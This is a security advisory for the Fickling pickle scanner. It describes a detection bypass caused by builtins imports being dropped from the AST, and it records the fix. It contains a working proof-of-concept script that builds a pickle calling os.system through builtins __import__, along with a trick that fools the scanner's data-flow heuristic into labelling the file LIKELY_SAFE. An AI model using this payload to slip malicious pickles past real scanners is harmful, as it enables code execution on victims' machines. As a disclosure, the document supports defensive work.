GHSA-h4rm-mm56-xf63 Fickling vulnerable to detection bypass due to "builtins" blindness

• PyPI fickling: < 0.1.7 → fixed in 0.1.7

Fickling's assessment Fickling started emitting AST nodes for builtins imports in order to match them during analysis (https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf). Original report Summary Fickling works by Pickle bytecode --> AST --> Security analysis However while going from bytecode to AST, some import nodes are removed which blinds the security analysis fickling/fickling/fickle.py ```python def run(self, interpreter: Interpreter): module, attr = self.module, self.attr if module in ("__builtin__", "__builtins__", "builtins"): # no need to emit an import for builtins! pass else: alias = ast.alias(attr) interpreter.module_body.append(ast.ImportFrom(module=module, names=[alias], level=0)) interpreter.stack.append(ast.Name(attr, ast.Load())) def encode(self) -> bytes: return f"c{self.module}\n{self.attr}\n".encode() ``` Here we see that no import nodes are emitted for builtins However builtins is marked as an unsafe import fickling/fickling/analysis.py ```python UNSAFE_MODULES = { "__builtin__": "This module contains dangerous functions that can execute arbitrary code.", "__builtins__": "This module contains dangerous functions that can execute arbitrary code.", "builtins": "This module contains dangerous functions that can execute arbitrary code.", ``` But because there are no import nodes for builtins (they werent emitted when making the AST), the security scanner is effectively blind. This can allow for security bypasses like this poc.py (script to create payload) ```python import os GLOBAL = b'c' # Import module.name STRING = b'S' # Push string TUPLE1 = b'\x85' # Build tuple of 1 TUPLE2 = b'\x86' # Build tuple of 2 EMPTY_TUPLE = b')' REDUCE = b'R' # Call function PUT = b'p' # Memoize (Variable assignment) GET = b'g' # Load from memo (Variable usage) POP = b'0' # Discard top of stack EMPTY_DICT = b'}' SETITEM = b's' # Add key/value to dict BUILD = b'b' # Update object state (Liveness satisfy) STOP = b'.' # Finish and return stack top def generate_raw_payload(): payload = b"" payload += GLOBAL + b"builtins\n__import__\n" payload += STRING + b"'os'\n" payload += TUPLE1 + REDUCE payload += PUT + b"0\n" # _var0 = os module payload += POP payload += GLOBAL + b"builtins\ngetattr\n" payload += GET + b"0\n" # os module payload += STRING + b"'system'\n" payload += TUPLE2 + REDUCE payload += PUT + b"1\n" # _var1 = os.system payload += POP payload += GET + b"1\n" # os.system payload += STRING + b"'whoami'\n" # COMMAND payload += TUPLE1 + REDUCE payload += PUT + b"2\n" payload += POP payload += GLOBAL + b"builtins\nException\n" payload += EMPTY_TUPLE + REDUCE payload += PUT + b"3\n" payload += EMPTY_DICT payload += STRING + b"'rce_status'\n" payload += GET + b"2\n" payload += SETITEM payload += BUILD payload += STOP return payload if __name__ == "__main__": data = generate_raw_payload() with open("raw_bypass.pkl", "wb") as f: f.write(data) print("Generated 'raw_bypass.pkl'") ``` This creates a pickle file which imports the OS module using __import__ which is a part of builtins. if the security scanner wasnt blinded it would have been flagged immidiately. However now fickling sees the pickle payload as ```python _var0 = __import__('os') _var1 = getattr(_var0, 'system') _var2 = _var1('whoami') _var3 = Exception() _var4 = _var3 _var4.__setstate__({'rce_status': _var2}) result0 = _var4 ``` As you can see there is no mention of builtins anywhere so it isnt flagged Additionally, the payload builder uses a technique to ensure that no variable get flagged as "UNUSED" We deceive the data flow analysis heuristic by using the BUILD opcode to update an objects internal state. By taking the result of os.system (the exit code) and using it as a value in a dictionary that is then "built" into a returned exception object, we create a logical dependency chain. The end result is that the malicious pickle gets classified as LIKELY_SAFE Fixes: Ensure that import objects are emitted for imports from builtins depending on what those imports are, say emit import nodes for dangerous functions like ```__import__``` while not emitting for stuff like ```dict()```